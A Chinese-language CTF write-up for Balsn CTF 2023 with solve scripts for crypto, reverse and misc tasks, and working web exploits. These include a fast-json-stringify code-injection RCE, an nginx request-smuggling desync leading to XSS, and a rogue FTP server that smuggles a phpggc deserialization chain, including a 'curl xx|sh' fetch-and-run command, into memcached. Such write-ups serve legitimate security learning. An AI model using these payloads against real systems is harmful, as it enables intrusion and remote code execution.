這次在 ${cYsTiCk} 參加了 Balsn CTF 2023 拿第三名,解了點題目,寫個
writeup 紀錄一下學到的東西。
crypto
Prime
這題有個自己實作的 AKS primality
test,不過似乎在一些參數的地方沒選好所以可以 bypass。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import gmpy2import randomfrom secret import FLAGdef main (): n = int (input ("prime: " )) if n <= 0 : print ("No mystiz trick" ) elif n.bit_length() < 256 or n.bit_length() > 512 : print ("Not in range" ) elif not is_prime(n): print ("Not prime" ) else : x = int (input ("factor: " )) if x > 1 and x < n and n % x == 0 : print ("You got me" ) print (FLAG) else : print ("gg" ) def is_prime (n ): for i in range (2 , n.bit_length()): root, is_exact = gmpy2.iroot(n, i) if is_exact: return False rs = [2 , 3 , 5 , 7 , 11 , 13 , 17 , 19 , 23 , 29 , 31 , 37 , 41 , 43 , 47 , 53 , 59 , 61 , 67 , 71 , 73 , 79 , 83 , 89 , 97 ] return all (test(n, r) for r in rs) def test (n, r ): """ check whether `(x + a) ^ n = x ^ n + a (mod x ^ r - 1)` in Z/nZ for some `a`. """ R.<x> = Zmod(n)[] S = R.quotient_ring(x ^ r - 1 ) a = 1 + random.getrandbits(8 ) if S(x + a) ^ n != S(x ^ (n % r)) + a: return False return True if __name__ == "__main__" : main()
我是亂試發現只要 是 carmichael
number ( ),且 的話 test(n, r)
就會過。然後參考這篇 中生成
carmichael number 的方法生成就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 rs = [2 , 3 , 5 , 7 , 11 , 13 , 17 , 19 , 23 , 29 , 31 , 37 , 41 , 43 , 47 , 53 , 59 , 61 , 67 , 71 , 73 , 79 , 83 , 89 , 97 ] P = prod(rs) while True : k = randint(2 **10 , 2 **20 ) a = 6 * k + 1 b = 12 * k + 1 c = 18 * k + 1 if is_pseudoprime(a) and is_pseudoprime(b) and is_pseudoprime(c): n = a * b * c print (n) print (a, b, c) break
這個在數學上很不嚴謹的推導是這樣的:
而 的話
,所以
。
不過實際上這並不對於所有 carmichael number 成立,例如
就是個反例。我後來想了一下發現說 在 下雖然是兩個長的不一樣的
,但可以發現它們對所有的
取值都相等,這符合 carmichael
number 的定義。然而 ,所以它不一定正確,這部分可以由以下的
sage 驗證:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 r = 5 n = 29341 assert n % r == 1 a = 87 R.<x> = Zmod(n)[] S = R.quotient_ring(x ^ r - 1 ) f = (x + a) ^ n g = x + a for i in range (0 , n): assert f(i) == g(i) f = (S(x + a) ^ n).lift() g = (S(x) + a).lift() for i in range (0 , n): assert f(i) == g(i)
不過我既然能用前面的解法解了這題,代表 在
中肯定有某些成立的條件的。而它實際的成立條件是 ,其中 是 的分解。詳細證明可以參考這篇
的 Chapter 3。
Many-Time-QKD
總之這題有個類似 BB84 的 QKD,而有兩個 party alice 和 bob,alice 對
bob 傳遞訊息。而它每次傳遞的時候我們可以選擇要監聽哪些
qubits,而最後如果 ber 超過 0.1 的話就會用 shared key 加密
flag,然後結束流程。所以這邊如果要重複用 oracle 的話需要讓 ber 小於
0.1。
題目最主要的問題點在於 alice 選的 seed (隨機 bit) 在每次 oracle
是固定的,然後做一些測試可以發現觀測到的 bit 和 alice 的 seed
有很高的正相關性。這我不是很清楚實際上的原因是什麼,但我猜是和 alice bob
所用的 pauli basis 有關:
1 2 3 4 5 6 7 PAULI_BASES = [Basis(Qubit([1 +0j , 1 +0j ])), Basis(Qubit([1 +0j , 0 +0j ]))] THETA = np.pi/8 MAGIC_QUBIT = Qubit([np.cos(THETA)+0j , np.sin(THETA)+0j ]) MAGIC_BASIS = Basis(MAGIC_QUBIT)
自己測試一下把 alice bob 用的 basis 換成原本的 rectilinear basis
就會發現這個 bias 消失了。
總之既然有個 bias 存在,就先選一部份的 qubits 避免 ber
太高,重複多次之後可以看哪個 bit 比較常出現就能得到一部份的 alice
seed,重複這個操作直到得到完整的 alice seed,然後最後讓它加密 flag
時會提供 alice bob 雙方共同的 basis,所以可以求出 key 解得 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import process, remoteimport numpy as npfrom Crypto.Cipher import AESimport bitstringn = 768 io = remote("guessq.balsnctf.com" , 1258 ) def oracle (to_observe ): io.recvuntil(b"transmitted.]\n" ) s = "" .join([str (i) for i in to_observe]) io.sendline(s.encode()) bits = list (io.recvlineS().strip()) same_index = [int (x) for x in io.recvlineS().strip().split("," )] return bits, same_index p1seed = [] chunks = 4 T = 20 for i in range (chunks): print (i) arr = [] for _ in range (T): query = [0 ] * n sli = slice (i * (n // chunks), (i + 1 ) * (n // chunks)) query[sli] = [1 ] * (n // chunks) bits, _ = oracle(query) arr.append([int (x) for x in bits[sli]]) arr = np.array(arr) p1seed += [int (x) for x in arr.sum (axis=0 ) > T // 2 ] print ("" .join([str (x) for x in p1seed]))io.recvuntil(b"transmitted.]\n" ) io.sendline(b"1" * n) io.recvline() same_index = [int (x) for x in io.recvlineS().strip().split("," )] key = bitstring.BitArray([p1seed[i] for i in same_index]) print (len (key), key)io.recvline() ct = bytes .fromhex(io.recvlineS().strip()) nonce = bytes .fromhex(io.recvlineS().strip()) print (ct, nonce)key_in_bytes = key[0 :256 ].tobytes() cipher = AES.new(key_in_bytes, AES.MODE_EAX, nonce=nonce) print (cipher.decrypt(ct))
web
0FA
這題要用指定的 TLS fingerprint (JA3) 去發送某個
request,所以找了一個可以偽造 JA3 的 library 就搞定了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const initCycleTLS = require ('cycletls' );(async () => { const cycleTLS = await initCycleTLS () const response = await cycleTLS ( 'https://0fa.balsnctf.com:8787/flag.php' , { body : 'username=admin' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, ja3 : '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0' , userAgent : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' }, 'post' ) console .log (response) cycleTLS.exit () })()
SaaS
首先第一步要 bypass nginx reverse proxy 的檢查:
1 2 3 4 5 6 7 8 9 10 11 server { listen 80 default_server; return 404 ; } server { server_name *.saas ; if ($http_host != "easy++++++" ) { return 403 ;} location ~ { proxy_pass http://backend:3000; } }
可以知道 server_name
要求要 .saas
結尾才行,但如果 Host
不是 easy++++++
的話就會被擋掉。如果有 https 的話我認為可以用 TLS SNI 和
Host
不同繞過 (a.k.a. domain
fronting),不過這邊我沒想法。
後來隊友 @lebr0nli 提到說 nginx 的 request line 中
path 部分其實可以塞完整的 url 的 quirk,所以這樣可以繞過:
1 2 GET http://a.saas/ HTTP/1.1 Host : easy++++++
而 backend 是個 node.js 的程式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const validatorFactory = require ('@fastify/fast-json-stringify-compiler' ).SerializerSelector ()()const fastify = require ('fastify' )({ logger : true , }) const {v4 : uuid} = require ('uuid' )const FLAG = 'the old one' const customValidators = Object .create (null , {}) const defaultSchema = { type : 'object' , properties : { pong : { type : 'string' , }, }, } fastify.get ( '/' , { schema : { response : { 200 : defaultSchema, }, }, }, async () => { return {pong : 'hi' } } ) fastify.get ('/whowilldothis/:uid' , async (req, resp) => { const {uid} = req.params const validator = customValidators[uid] if (validator) { return validator ({[FLAG ]: 'congratulations' }) } else { return {msg : 'not found' } } }) fastify.post ('/register' , {}, async (req, resp) => { const nid = uuid () const schema = Object .assign ({}, defaultSchema, req.body ) customValidators[nid] = validatorFactory ({schema}) return {route : `/whowilldothis/${nid} ` } }) fastify.listen ({port : 3000 , host : '0.0.0.0' }, function (err, address ) { if (err) { fastify.log .error (err) process.exit (1 ) } })
上面的 FLAG
真的是 old flag,真正的 flag 在
/flag
,所以要 RCE。
這邊最主要的問題是我們可以自己決定 schema,而
@fastify/fast-json-stringify-compiler
底下用的是 fast-json-stringify ,在裡面可以找到很多個
code injection 的點,例如 required 。
所以就用 schema 裡面塞 code injection 就 RCE 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import remoteimport jsondef do_request (req: bytes ): io = remote("saas.balsnctf.com" , 8787 ) io.send(req) return io.recvall() body = json.dumps( { "type" : "object" , "required" : [ "*/'+/*+'])1;return process.mainModule.require('fs').readFileSync('/flag').toString()//" ], } ) req = f"POST http://a.saas/register HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: {len (body)} \r\nHost: easy++++++\r\n\r\n{body} " resp = do_request(req.encode()).partition(b"\r\n\r\n" )[2 ] j = json.loads(resp.decode()) print (j)req = f'GET http://a.saas{j["route" ]} HTTP/1.0\r\nHost: easy++++++\r\n\r\n' print (do_request(req.encode()))
*1linenginx
這題不是我一個人解的,是包含隊友 @lebr0nli 和 @splitline 的幫忙才弄出來的
這提就真正是字面上的只有一行 nginx config,目標是 XSS。
1 server { root /usr/share/nginx/html; if ($host !~ [\<\>\'\"\`\&\;\\\/\?\#\$]) { set $rhost $host ; } error_page 404 =200 http://$rhost /;}
單從這邊可能看不出有什麼問題,不過看 docker compose 可知它用
nginx:1.16
,顯然是個很舊的 nginx 版本。查一下可以找到 CVE-2019-20372 ,nginx
error_page
的 request smuggling:
1 2 3 4 5 6 GET /a HTTP/1.1 Host : localhostContent-Length : 56GET /_hidden/index.html HTTP/1.1 Host : notlocalhost
然後我測試了一下發現確實有,然後也在 client side
測出可以這麼觸發:
1 2 3 4 5 6 7 8 9 10 11 12 window .onload = () => { const target = 'http://localhost:80/x' const form = document .createElement ('form' ) form.method = 'POST' form.action = target form.enctype = 'text/plain' const inp = document .createElement ('input' ) inp.name = `GET /hello HTTP/1.0\r\nHost: hello\r\n\r\n` form.appendChild (inp) document .body .appendChild (form) form.submit () }
然後也確實可以在 nginx log 看到 GET /hello
,不過 chrome
會因為前面的原本的 request 302 redirect 早就 redirect 走了,看不到
response。
這個問題就讓我想到 client side desync,所以就在 Browser-Powered
Desync Attacks: A New Frontier in HTTP Request Smuggling 中
Akamai - stacked HEAD 那個 case 很像。
這類攻擊的大致概念就是透過 fetch
觸發 desync,然後
request 一完成之後馬上就要 location = '...'
,讓它 reuse
同個 socket,這樣前面 request smuggle 的 response 就會被瀏覽器當成後面
request 的 response,這樣就有機會利用。
而這題的情況因為是 redirect,所以參考那篇文章,要用
fetch
設定為 cors
mode,這樣 redirect
時就會觸發 cors exception,然後 catch
就會馬上觸發,在那個地方做 location = '...'
比較好利用。
但實際操作會遇到一個問題是 chrome 在接收到第一個 response
時會檢查有沒有多餘的資料,如果有多餘的資料 chrome 就會自動關閉那個
connection,這也是文章中說的 stacked-response
problem 。解決這個問題的辦法是讓你 smuggle 的那個 request
想辦法透過某些方法讓它產生延遲,而在這題的場景下發現說只要 path
存在,然後是 POST
且 body 沒 Content-Length
長就會有個延遲:
1 2 printf 'GET /x HTTP/1.1\r\nHost: aasd\r\nContent-Length: 22\r\n\r\nPOST / HTTP/1.0\r\nHost: hello\r\nContent-Length: 1\r\n\r\n' | nc 1linenginx.balsnctf.com 80
之後做了些嘗試發現這個 js 在可以成功觸發 405
1 2 3 4 5 6 fetch ('http://1linenginx.balsnctf.com/x' , { method : 'POST' , body : `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n` , mode : 'no-cors' , credentials : 'include' })
devtool showing http 405 for the
redirect
可見瀏覽器在 redirect 的時候是 reuse 同個連線,所以 302 redirect
的第二個 request 的 response 就變成了我們 smuggled request 的回應了
(405)。
所以我就把它改一下變成:
1 2 3 4 5 6 7 8 9 10 11 12 window .onload = () => { const target = 'http://1linenginx.balsnctf.com/x' const form = document .createElement ('form' ) form.method = 'POST' form.action = target form.enctype = 'text/plain' const inp = document .createElement ('input' ) inp.name = `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n` form.appendChild (inp) document .body .appendChild (form) form.submit () }
發現它有些時候會變成是在 redirect 之後的
http://1linenginx.balsnctf.com/
顯示
405 Not Allowed
,有些時候不會。多做了一些測試發現只要是新的
chrome profile/incognito 的第一個 request 都會是
405,但後續短時間內重複測試就會失敗 (正常顯示 nginx welcome
page)。不過一個 chrome instance 放久一點後再測一次又會成功
(405),所以我就猜測是和 chrome 的 connection pool
有關。這部分每次在做實驗前到
chrome://net-internals/#sockets
去按 Flush socket
pools 就能證實了。
那這樣要怎麼利用呢? 這個其實原本的文章就有說可以用 HEAD
request,因為 HEAD
的回應會帶有 Content-Length
等相關資料卻沒有 body,所以我們如果在後面多 smuggle 一個 request
就會發現這個的 response 會被 chrome 當成是 response body 了。
因此:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 window .onload = () => { const target = 'http://1linenginx.balsnctf.com/x' const form = document .createElement ('form' ) form.method = 'POST' form.action = target form.enctype = 'text/plain' const inp = document .createElement ('input' ) inp.name = `HEAD / HTTP/1.1\r Host: asd\r Content-Length: 100\r \r GET /x HTTP/1.1\r Host: konpeko\r \r ` form.appendChild (inp) document .body .appendChild (form) form.submit () }
會顯示出
http response header displayed on the
page
可見 konpeko
被 reflect
到頁面上了,然而這邊有個困難點在於前面 nginx config 要求
Host
不能有那些 html 相關的特殊字元,所以要找方法繞。
這邊的關鍵是利用原本 nginx welcome page 是 html 的特性,透過 range
request 去湊一個 <body garbage
,然後我們在那後面多一個
onload=...
就會被當作 attribute XSS。最後湊一湊會變成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 name = 'console.log(document.domain)' window .onload = () => { const target = 'http://1linenginx.balsnctf.com/x' const form = document .createElement ('form' ) form.method = 'POST' form.action = target form.enctype = 'text/plain' const inp = document .createElement ('input' ) inp.name = `HEAD / HTTP/1.1\r Host: 0\r \r GET / HTTP/1.1\r Host: 0\r Range: bytes=207-211\r \r GET /x HTTP/1.0\r Host: autofocus tabindex=1 onfocus=eval(name) x` form.appendChild (inp) document .body .appendChild (form) form.submit () }
可以注意到這邊的 HEAD
沒有
Content-Length
,這我也不知道為什麼不用加,在沒有延遲的情況下也會成功。反而加了
Content-Length
還會失敗...
*memes
這題我沒成功解出來,不過也算是很接近解答了,所以寫一下紀錄
這題是個 laravel 寫的網站,最核心部分的程式碼為:
1 2 3 4 5 6 7 8 9 10 $sampleImage = $request ->input ('image' );$image = imagecreatefrompng ($sampleImage );$saveDir = str_replace (['memes/' , '.png' ], ['generated/' , '' ], $sampleImage );if (!file_exists ($saveDir )) { mkdir ($saveDir , 0777 , true ); } $imagePath = "$saveDir /" . bin2hex (random_bytes (8 )) . '.png' ;imagepng ($image , $imagePath );imagedestroy ($image );
簡單來說它會從你指定的地方讀圖片進來,然後做一些處理,最後再輸出。輸出的
path 也是部分程度可控的。
既然這是 php,那個 $sampleImage
可以是
php://filter/...
,也可以是 http://
,
data:
等等,但大部分都不是很能利用,因為最後的
$imagePath
也是要可寫的地方,不然它就會 error。
其中一個支援的東西是 ftp://
,它會連上 ftp
拿檔案,而輸出時一樣是會透過 ftp 存檔案。而 ftp 在讀取或是存檔案時常用的
passive mode 就是 server 告訴 client 一個 ip + port,然後 client 對那個
ip port 發起 tcp 連線,然後從那邊讀取或是寫入資料。因此如果你讓 ftp
server 是自己可控的話,是能讓它對任意的 ip port 發起連線,並寫入 png
資料的,也就是一個只可寫的 ssrf。
而這題 laravel 的 session backend 使用的是 memcached,且 docker
compose 還固定了 subnet:
1 2 3 4 5 6 7 networks: default: driver: bridge ipam: driver: default config: - subnet: 10.87 .0 .1 /16
實際跑起來會知道 memcached 容器的 ip 就是
10.87.0.2
,所以用 ssrf 寫 memcached
是很可行的,之後應該就是串反序列化 RCE。這部分我測試發現 phpggc 的
Laravel/RCE15 在 laravel 10 上還是可用的,所以並不是個問題。
不過這邊有個問題是 memcached 要寫哪個 key,因為 laravel session id
是存在 cookie 中的,而預設它還有一層 encrypted cookie middleware
包著,所以 cookie 中的 laravel_session
中值都是加密的,所以不知道 session id 是什麼,也就無從知道我們的 session
在 memcached 中的 key 是什麼。
這部分據題目作者所說是可以透過 php
filter error oracle 做的。這我雖然有想到,但沒辦法分辨 server
端不同的 500 是什麼來源造成的,所以沒做出來。
這是我的自訂 ftp server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *import threadingimport subprocessfrom base64 import b64encodeimport osTARGET_FILE = "a.png" def generate (): key = os.urandom(4 ).hex () key = 'laravel_cache_:it31ULY6F4SLii0wsaUUUTktYjjoCwrLQEWpZdRq' chain = subprocess.check_output(['php' , '/home/maple3142/workspace/phpggc/phpggc' , 'Laravel/RCE15' , 'system' , '/readflag --give-me-the-flag > /var/www/meme-maker/p*/g*/glaf' ]).decode().strip() chain = subprocess.check_output(['php' , '/home/maple3142/workspace/phpggc/phpggc' , 'Laravel/RCE15' , 'system' , 'curl xx|sh' ]).decode().strip() print (chain, len (chain)) assert isinstance (chain, str ) assert subprocess.check_output( ["php" , "gen.php" , b64encode(f"\r\nset {key} 0 0 {len (chain)} \r\n{chain} \r\nquit\r\n" .encode()).decode(), TARGET_FILE] ) == b"" context.log_level = "debug" SRV_PORT = 3535 TARGET = "10.87.0.2" TARGET_PORT = 11211 DATA_PORT = 3536 PUBLIC_IP = "???" def data_thread (): srv = listen(DATA_PORT) srv.wait_for_connection() with open (TARGET_FILE, "rb" ) as f: srv.send(f.read()) srv.close() generate() def handle (srv ): is_retr = False srv.send(b"220 welcome\n" ) while True : cmd, *args = srv.recvline().strip().split(b" " ) if cmd == b"USER" : srv.send(b"331 Please specify the password.\n" ) elif cmd == b"PASS" : srv.send(b"230 Login successful.\n" ) elif cmd == b"CWD" : srv.send(b"250 Okay.\n" ) elif cmd == b"TYPE" : srv.send(b"200 Switching\n" ) elif cmd == b"SIZE" : if args[0 ].endswith(b'/' + TARGET_FILE.encode()): is_retr = True with open (TARGET_FILE, "rb" ) as f: ln = len (f.read()) srv.send(f"213 {ln} \n" .encode()) else : is_retr = False srv.send(b"550 NO\n" ) elif cmd == b"RETR" : srv.send(b"150 Opening data connection.\n" ) time.sleep(1 ) srv.send(b"250 Ok\n" ) elif cmd == b"PWD" : srv.send(b'257 "/"\n' ) elif cmd == b"EPSV" : srv.send(b"250 ok\n" ) elif cmd == b"PASV" : if is_retr: threading.Thread(target=data_thread).start() ip = PUBLIC_IP.replace("." , "," ) srv.send( f"227 Entering Passive Mode ({ip} ,{DATA_PORT//256 } ,{DATA_PORT%256 } )\n" .encode() ) else : ip = TARGET.replace("." , "," ) srv.send( f"227 Entering Extended Passive Mode ({ip} ,{TARGET_PORT//256 } ,{TARGET_PORT%256 } )\n" .encode() ) elif cmd == b"STOR" : srv.send(b"150 Opening data connection.\n" ) time.sleep(2 ) srv.send(b"250 Ok\n" ) else : srv.send(b"221 Goodbye.\n" ) srv.close() break while True : srv = listen(SRV_PORT) srv.wait_for_connection() threading.Thread(target=handle, args=(srv,)).start()
實際讓它寫 memcached 的 script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsfrom bs4 import BeautifulSouptarget = "http://localhost:5000" ftpurl = "ftp://????:3535/a.png" sess = requests.Session() soup = BeautifulSoup(sess.get(f"{target} /?image=a" ).text, "html.parser" ) token = soup.select_one("input[name=_token]" )["value" ] r = sess.post( f"{target} /make" , data={ "_token" : token, "image" : ftpurl, "texts[0][text]" : "Hello World" , "texts[0][x]" : "1000" , "texts[0][y]" : "1000" , "texts[0][size]" : "0" , "texts[0][color]" : "#000000" , "texts[0][angle]" : "0" , }, allow_redirects=False , ) print (r.headers)print (r.text)
reverse
Lucky
總之逆完可知它大概像個 repeated key xor
cipher,len(key)=16
。直接拿已知 flag format 去弄得到 key
開頭為 141592
,所以我就猜它是 的小數部分,直接拿來 xor 就解了:
1 2 3 4 5 6 7 8 9 10 11 def xor (x, y ): return bytes ([a ^ b for a, b in zip (x, y)]) data = [0x73 , 0x75 , 0x7D , 0x66 , 0x77 , 0x49 , 0x5A , 0x60 , 0x50 , 0x7E , 0x67 , 0x08 , 0x44 , 0x66 , 0x40 , 0x02 , 0x5E , 0x7B , 0x01 , 0x7A , 0x66 , 0x03 , 0x5B , 0x65 , 0x03 , 0x47 , 0x0F , 0x0D , 0x59 , 0x4D , 0x6C , 0x5B , 0x7F , 0x6B , 0x52 , 0x02 , 0x7F , 0x13 , 0x15 , 0x48 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xC1 , 0x6F , 0xF2 , 0x86 , 0x23 , 0x00 , 0x00 , 0xE1 , 0xF5 , 0x05 , 0x00 , 0x00 , 0x00 , 0x00 ] key = b'14159265358979323846' [:16 ] print (xor(data, key * 10 ))
misc
Web3
要過下面這個驗證:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isValidData (data ) { if (/^0x[0-9a-fA-F]+$/ .test (data)) { return true ; } return false ; } app.post ("/exploit" , async function (req, res ) { try { const message = req.body .message ; const signature = req.body .signature ; if (!isValidData (signature) || isValidData (message)) { res.send ("wrong data" ); return ; } const signerAddr = ethers.verifyMessage (message, signature); if (signerAddr === ethers.getAddress (message)) { const FLAG = process.env .FLAG || "get flag but something wrong, please contact admin" ; res.send (FLAG ); return ; } } catch (e) { console .error (e); res.send ("error" ); return ; } res.send ("wrong" ); return ; });
總之 message 不能長的像 addrss,然後會透過
ethers.verifyMessage
透過 message 和 signature 取得 public
key 的 address,然後和 ethers.getAddress(message)
比較。
總之我進去看 ethers.getAddress
發現有種東西叫做 ICAP
address,算是 address 的另類表示法。所以就自己 local 生一個
keypair,然後把 address 轉成 ICAP address 當作
message
,之後再 sign 得到 signature
即可。
1 2 3 4 5 6 7 8 9 10 11 12 const ethers = require ("ethers" )const wallet = ethers.Wallet .createRandom ()const icapAddress = ethers.getIcapAddress (wallet.address )console .log (icapAddress)const message = icapAddressconst signature = wallet.signMessageSync (message)console .log (message, signature)
pycthon
總之它有個神奇的模改版 python binary,然後跑這個 script:
1 2 3 4 5 6 7 with open ('/home/ctf/flag' ) as f: flag = f.read() payload = input (">>> " ) set_dirty(flag) sandbox() eval (payload)
sandbox
裡面做的事就是上 seccomp,限制只能
read
from 0
和 write
to
1,2
而已。而 set_dirty
是讓 flag
不能被當作參數傳到其他函數中的神奇功能。
set_dirty
我發現說可以很容易的用
flag.encode()
繞過,但是不知道為什麼都 print
不出來,所以我沒辦法直接 print。不過可觀察到它有 exception
時有不同的輸出,所以可以直接 char by char 去猜 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import process, remote, contextimport stringcontext.log_level = "error" def tmpl (idx, char ): return f"""(f:=flag.encode(),1/0 if f[{idx} ]==b'{char} '[0] else 0)""" def oracle (idx, char ): io = remote("pycthon.balsnctf.com" , 17171 ) io.sendline(tmpl(idx, char).encode()) return b"except" in io.recvall() chars = "{}_" + string.digits + string.ascii_letters flag = "BALSN{" while not flag.endswith("}" ): for char in chars: if oracle(len (flag), char): flag += char print (flag) break else : print ("fail" ) break
賽後有從 @Crazyman 那邊知道說可以透過
os.write
搞定,直接 print flag 出來:
1 __builtins__.__loader__.load_module.__globals__['sys' ].modules['os' ].write(1 , flag.encode())